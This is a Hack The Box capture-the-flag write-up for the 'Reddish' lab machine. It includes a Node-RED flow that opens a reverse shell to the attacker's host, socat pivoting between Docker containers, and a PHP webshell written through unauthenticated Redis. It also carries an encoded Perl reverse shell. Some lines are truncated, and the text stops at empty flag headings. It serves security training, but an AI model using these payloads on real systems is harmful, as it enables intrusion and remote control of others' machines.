Hack The Box - Writeup

Reddish

Author Name Here

November 6, 2018

Table of Content

Recon

nmap

```
Discovered open port 1880/tcp on 10.10.10.94
```

Results of nmap with service scan

Port	Status	Service
1880/tcp	open	Node.js Express framework

Browser

http://10.10.10.94:1880/ will get you a error message. / might not be the path we are looking for.

Gobuster

Gobuster reveals a few paths like */red* and a file *about* which will reveal that we are dealing with Node.JS Red instance.

Curl

As the Brwoser is telling us that GET might not be the right method why not just POST to it.

```
--- ~ » curl -X POST http://10.10.10.94:1880/
{"id":"5473a649c8de41204e498bad54136361","ip":"::ffff:10.10.14.3","path":"/red/{id}"}
```

Browser again

Browsing to http://10.10.10.94:1880/red/5473a649c8de41204e498bad54136361/ will itself reveal a logged on RED Node.JS interface. So now we can work with that.

NodeJS Red interface

Googling a little will reveal a json payload to import. Just alter the ip address and start a listener. Then import the json and deploy it. You will have a reverse shell.

```
[{"id":"7235b2e6.4cdb9c",
  "type":"tab",
  "label":"Flow 1"},
 {"id":"d03f1ac0.886c28",
  "type":"tcp out",
  "z":"7235b2e6.4cdb9c",
  "host":"",
  "port":"",
  "beserver":"reply",
  "base64":false,
  "end":false,
  "name":"",
  "x":786,
  "y":350,
  "wires":[]},
 {"id":"c14a4b00.271d28",
  "type":"tcp in",
  "z":"7235b2e6.4cdb9c",
  "name":"",
  "server":"client",
  "host":"10.10.14.3",
  "port":"4444",
  "datamode":"stream",
  "datatype":"buffer",
  "newline":"",
  "topic":"",
  "base64":false,
  "x":281,
  "y":337,
  "wires":[["4750d7cd.3c6e88"]]},
 {"id":"4750d7cd.3c6e88",
  "type":"exec",
  "z":"7235b2e6.4cdb9c",
  "command":"",
  "addpay":true,
  "append":"",
  "useSpawn":"false",
  "timer":"",
  "oldrc":false,
  "name":"",
  "x":517,"y":362.5,
  "wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}
]
```

Reverse shell:

```
--- ~ » ncat -lvp 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:55774.
id
uid=0(root) gid=0(root) groups=0(root)
[object Object]ls -la
total 400
drwxr-xr-x   1 root root   4096 Nov  5 15:21 .
drwxr-xr-x   1 root root   4096 Jul 15 17:42 ..
-rw-r--r--   1 root root  17768 May  4  2018 Gruntfile.js
drwxr-xr-x   2 root root   4096 Jul 15 17:42 bin
drwxr-xr-x   8 root root   4096 Jul 15 17:42 editor
drwxr-xr-x   3 root root   4096 Nov  5 15:21 home
drwxr-xr-x   2 root root   4096 Jul 15 17:42 lib
-rw-r--r--   1 root root   1608 May  4  2018 multinodered.js
drwxr-xr-x 688 root root  20480 Jul 15 17:42 node_modules
drwxr-xr-x   3 root root   4096 Jul 15 17:42 nodes
-rw-r--r--   1 root root 287491 May  4  2018 package-lock.json
-rw-r--r--   1 root root   2896 May  4  2018 package.json
drwxr-xr-x   5 root root   4096 Jul 15 17:42 public
drwxr-xr-x   4 root root   4096 Jul 15 17:42 red
-rw-r--r--   1 root root  10965 May  4  2018 red.js
-rw-r--r--   1 root root  10498 May  4  2018 settings.js
drwxr-xr-x   5 root root   4096 Jul 15 17:42 test
[object Object]hostname
nodered
```

So we are on *nodered* now. As we can guess it is a Docker container. So we need to do lateral movement is my guess.

For having comfort I upgraded to a socat shell.

Transfer a static nmap the same way and scan the subnets you'll find via `ip r s`.

You'll find that the following Hosts are up:

- 172.18.0.1
- 172.18.0.2 (already know, *nodered*)
- 172.19.0.1
- 172.19.0.2
- 172.19.0.3
- 172.19.0.4 (already know, *nodered*)

Well then let's scan them in detail:

```
Nmap scan report for 172.18.0.1
Host is up, received arp-response (0.000010s latency).
PORT     STATE SERVICE REASON
1880/tcp open  unknown syn-ack ttl 64
MAC Address: 02:42:CE:62:00:2F (Unknown)

Nmap scan report for nodered (172.18.0.2)
Host is up, received localhost-response (0.0000070s latency).
PORT     STATE SERVICE REASON
1880/tcp open  unknown syn-ack ttl 64

Nmap scan report for 172.19.0.1
Host is up, received arp-response (0.000011s latency).
PORT     STATE    SERVICE REASON
1880/tcp filtered unknown no-response
MAC Address: 02:42:87:3C:5E:D3 (Unknown)

Nmap scan report for reddish_composition_
redis_1.reddish_composition_internal-network (172.19.0.2)
Host is up, received arp-response (0.000015s latency).
PORT     STATE SERVICE REASON
6379/tcp open  unknown syn-ack ttl 64
MAC Address: 02:42:AC:13:00:02 (Unknown)

Nmap scan report for reddish_composition_
www_1.reddish_composition_internal-network (172.19.0.3)
Host is up, received arp-response (0.000015s latency).
PORT   STATE SERVICE REASON
80/tcp open  unknown syn-ack ttl 64
MAC Address: 02:42:AC:13:00:03 (Unknown)

Nmap scan report for nodered (172.19.0.4)
Host is up, received localhost-response (0.0000070s latency).
PORT     STATE SERVICE REASON
1880/tcp open  unknown syn-ack ttl 64
```

So this will be our network then:

IP	Port	Host	Service
172.18.0.1	1880	unknown	nodered
172.18.0.2	1880	nodered	nodered
172.19.0.1	1880	unknown	nodered
172.19.0.2	6379	redis_1	redis?

IP	Port	Host	Service
172.19.0.3	80	www_1	webserver?
172.19.0.4	1800	nodered	nodered

172.18.0.1 and 172.19.0.1 might be bound on the same host.

I then upgraded my socat reverse shell to a msf meterpreter shell. I therefore generated a payload with `msfvenom` and got the reverse shell with a `multi handler`.

With `portfwd` I forwarded the *webservers* port 80 to localhost 8080 and *redis database* port 6379 to localhost 6379 to my local system.

Starting with redis I see there is no AUTH required! So that's an exploitable configuration https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html.

```
--- ~ » redis-cli -h localhost
localhost:6379>
```

using msfconsole you can write a php commandshell to the webserver:

```
msf auxiliary(scanner/redis/file_upload) > options

Module options (auxiliary/scanner/redis/file_upload):

   Name                    Current Setting          Required  Description
   ----                    ---------------          --------  -----------
   DISABLE_RDBCOMPRESSION  true                     yes       Disable compression when sa
   FLUSHALL                true                     yes       Run flushall to remove all
   LocalFile               cmdshell.php             no        Local file to be uploaded
   PASSWORD                foobared                 no        Redis password for authenti
   RHOSTS                  127.0.0.1                yes       The target address range or
   RPORT                   6379                     yes       The target port (TCP)
   RemoteFile              /var/www/html/shell.php  no        Remote file path
   THREADS                 1                        yes       The number of concurrent th
```

As the source code of the page hosted at 172.19.0.3 says, the redis db and the server are sharing their webhome.

You can therefore get your shell after the upload at http://localhost:8080/shell.php?e=*command*.

You wanna prepare your next command as the host *www* which we are targeting gets rid of your shell real quick.

I decided to fetch the meterpreter payload I generated earlier, set it executable and execute it to gain a meterpreter shell on *www*. That didn't work out quite well. Also a few tested reverse shell methods like perl, php and so on didn't work out.

From enumeration you might see that the User flag is there but you cannot grab it:

```
cat: /home/somaro/user.txt: Permission denied
```

But we are close.

Working a lot more on this there was no way of getting any further. I started over and somehow it was not possible to portfwd in meterpreter anymore. So I took another road.

Second attempt to become user.

With the socat shell on *nodered* and the information I had I redirected the webserver *www* using two separate socat redirections on *nodered* like so:

```
# Terminal 1 on nodered
./socat tcp:172.19.0.3:80,fork,forever tcp:10.10.14.3:10000 2>/dev/null &
# Terminal 2 on my attacker box
socat tcp-l:10000,reuseaddr,bind=10.10.14.3,fork tcp-l:8080,reuseaddr,bind=127.0.0.1 2>/
```

Now you will get the Webserver at http://localhost:8080 again.

Next forward the redis db the same way:

```
# Terminal 1 nodered
./socat tcp:172.19.0.2:6379,fork,forever tcp:10.10.14.3:9999 2>/dev/null &
# Terminal 2 attacker box
socat tcp-l:9999,reuseaddr,bind=10.10.14.3,fork tcp-l:6379,reuseaddr,bind=127.0.0.1 2>/d
```

So now we can reach the redis db again with `redis-cli`. So now we can use either msfconsole again to upload shell.php or use the `redis-cli` like so:

```
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename s.php
OK
127.0.0.1:6379> set test "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>"
OK
127.0.0.1:6379> save
```

So the next high level steps will be: - create perl reverse shell as base64 encoded at /tmp/s.pl.b64 - base64 -d /tmp/s.pl.b64 > /tmp/s.pl - chmod 755 /tmp/s.pl - listener nc -vlp on *nodered*

and finally http://www/s.php?cmd=/tmp/s.pl

Then a reverse shell should pop up on *nodered*. (Remeber to url encode the commands given to the webshell).

So start the listener on *nodered* port 12000.

```
# create perl reverse shell out of:
perl -e 'use Socket;$i="172.19.0.4";$p=12000;socket(S,PF_INET,SOCK_STREAM,getprotobyname
# base64
cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9MTIwMDA7c29ja2V0KFMsUEZfSU5FVCxTT0NLX

# request for shell:
echo -n cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9MTIwMDA7c29ja2V0KFMsUEZfSU5F

# url encoded:
%65%63%68%6f%20%2d%6e%20%63%47%56%79%62%43%41%74%5a%53%41%6e%64%58%4e%6c%49%46%4e%76%59%

# request to decode /tmp/s.pl.64 to /tmp/s.pl
base64 -d /tmp/s.pl.b64 > /tmp/s.pl

# url encoded
base64%20-d%20%2Ftmp%2Fs.pl.b64%20%3E%20%2Ftmp%2Fs.pl

# give permissions
chmod 755 /tmp/s.pl

# url encoded
%63%68%6d%6f%64%20%37%35%35%20%2f%74%6d%70%2f%73%2e%70%6c

# invoke the command
/tmp/s.pl

# url encoded
%2f%74%6d%70%2f%73%2e%70%6c
```

The Urls you need to issue are then:

- http://localhost:8080/shell.php?e=%65%63%68%6f%20%2d%6e%20%63%47%56%79%62%43%41%74%
- http://localhost:8080/shell.php?e=base64%20-d%20%2Ftmp%2Fs.pl.b64%20%3E%20%2Ftmp%2Fs.pl
- http://localhost:8080/shell.php?e=%63%68%6d%6f%64%20%37%35%35%20%2f%74%6d%70%2f%73%
- http://localhost:8080/shell.php?e=%2f%74%6d%70%2f%73%2e%70%6c

Shell should pop up on your listener.

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Initial Foothold - Get user.txt

Priv Esc - Get root.txt